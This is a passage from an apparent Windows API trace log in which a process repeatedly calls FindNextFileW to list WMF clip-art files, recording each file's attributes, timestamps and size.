lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7738900, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7738900, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x2230, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01152_.WMF", cAlternateFileName="")) returned 1 [0266.904] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6425c00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6425c00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01154_.WMF", cAlternateFileName="")) returned 1 [0266.905] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1858, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01157_.WMF", cAlternateFileName="")) returned 1 [0266.905] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf04c7b00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf04c7b00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01158_.WMF", cAlternateFileName="")) returned 1 [0266.905] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1694, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01161_.WMF", cAlternateFileName="")) returned 1 [0266.905] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f80000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92f80000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01164_.WMF", cAlternateFileName="")) returned 1 [0266.905] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c6d300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91c6d300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x70f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01293_.WMF", cAlternateFileName="")) returned 1 [0266.906] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29f0600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd29f0600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x16ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01354_.WMF", cAlternateFileName="")) returned 1 [0266.906] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf0b7f00, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf0b7f00, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01356_.WMF", cAlternateFileName="")) returned 1 [0266.906] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdda5200, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdda5200, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x6bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01357_.WMF", cAlternateFileName="")) returned 1 [0266.906] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcca92500, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcca92500, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01358_.WMF", cAlternateFileName="")) returned 1 [0266.906] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b34400, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6b34400, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01361_.WMF", cAlternateFileName="")) returned 1 [0266.907] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5b0900, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe5b0900, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x40412, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01368_.WMF", cAlternateFileName="")) returned 1 [0266.907] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8653c600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8653c600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x2b16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01421_.WMF", cAlternateFileName="")) returned 1 [0267.023] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b435600, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b435600, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01468_.WMF", cAlternateFileName="")) returned 1 [0267.023] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87afcf00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87afcf00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01470_.WMF", cAlternateFileName="")) returned 1 [0267.024] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x841c4800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x841c4800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2028, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01472_.WMF", cAlternateFileName="")) returned 1 [0267.024] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eb1b00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82eb1b00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01473_.WMF", cAlternateFileName="")) returned 1 [0267.024] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5def00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f5def00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x349c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01474_.WMF", cAlternateFileName="")) returned 1 [0267.024] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb77a00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bb77a00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01627_.WMF", cAlternateFileName="")) returned 1 [0267.024] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d600, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f01d600, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xb9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01680_.WMF", cAlternateFileName="")) returned 1 [0267.025] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6e4f00, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6e4f00, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xc88, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01682_.WMF", cAlternateFileName="")) returned 1 [0267.025] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65da4900, ftCreationTime.dwHighDateTime=0x1bd4bda, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65da4900, ftLastWriteTime.dwHighDateTime=0x1bd4bda, nFileSizeHigh=0x0, nFileSizeLow=0x14c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01701_.WMF", cAlternateFileName="")) returned 1 [0267.025] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01848_.WMF", cAlternateFileName="")) returned 1 [0267.025] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01849_.WMF", cAlternateFileName="")) returned 1 [0267.026] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04ab00, ftCreationTime.dwHighDateTime=0x1bd4bfd, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04ab00, ftLastWriteTime.dwHighDateTime=0x1bd4bfd, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01852_.WMF", cAlternateFileName="")) returned 1 [0267.026] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01858_.WMF", cAlternateFileName="")) returned 1 [0267.026] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa55a300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa55a300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xdb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01866_.WMF", cAlternateFileName="")) returned 1 [0267.026] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02009_.WMF", cAlternateFileName="")) returned 1 [0267.026] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620ded00, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x620ded00, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x918, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02041_.WMF", cAlternateFileName="")) returned 1 [0267.027] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb82d6100, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb82d6100, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02066_.WMF", cAlternateFileName="")) returned 1 [0267.027] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3552d900, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3552d900, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02091_.WMF", cAlternateFileName="")) returned 1 [0267.027] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e66000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38e66000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02092_.WMF", cAlternateFileName="")) returned 1 [0267.027] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308e2500, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x308e2500, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02093_.WMF", cAlternateFileName="")) returned 1 [0267.028] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29651800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29651800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1fe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02124_.WMF", cAlternateFileName="")) returned 1 [0267.028] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f8b800, ftCreationTime.dwHighDateTime=0x1bd4bd0, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50f8b800, ftLastWriteTime.dwHighDateTime=0x1bd4bd0, nFileSizeHigh=0x0, nFileSizeLow=0x4816, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02125_.WMF", cAlternateFileName="")) returned 1 [0267.028] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819c1a00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x819c1a00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x7c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02126_.WMF", cAlternateFileName="")) returned 1 [0267.028] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9355900, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9355900, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xfe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02127_.WMF", cAlternateFileName="")) returned 1 [0267.028] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02262_.WMF", cAlternateFileName="")) returned 1 [0267.029] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02264_.WMF", cAlternateFileName="")) returned 1 [0267.029] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02356_.WMF", cAlternateFileName="")) returned 1 [0267.029] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02361_.WMF", cAlternateFileName="")) returned 1 [0267.029] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02368_.WMF", cAlternateFileName="")) returned 1 [0267.029] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02371_.WMF", cAlternateFileName="")) returned 1 [0267.030] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02373_.WMF", cAlternateFileName="")) returned 1 [0267.030] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02384_.WMF", cAlternateFileName="")) returned 1 [0267.030] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, 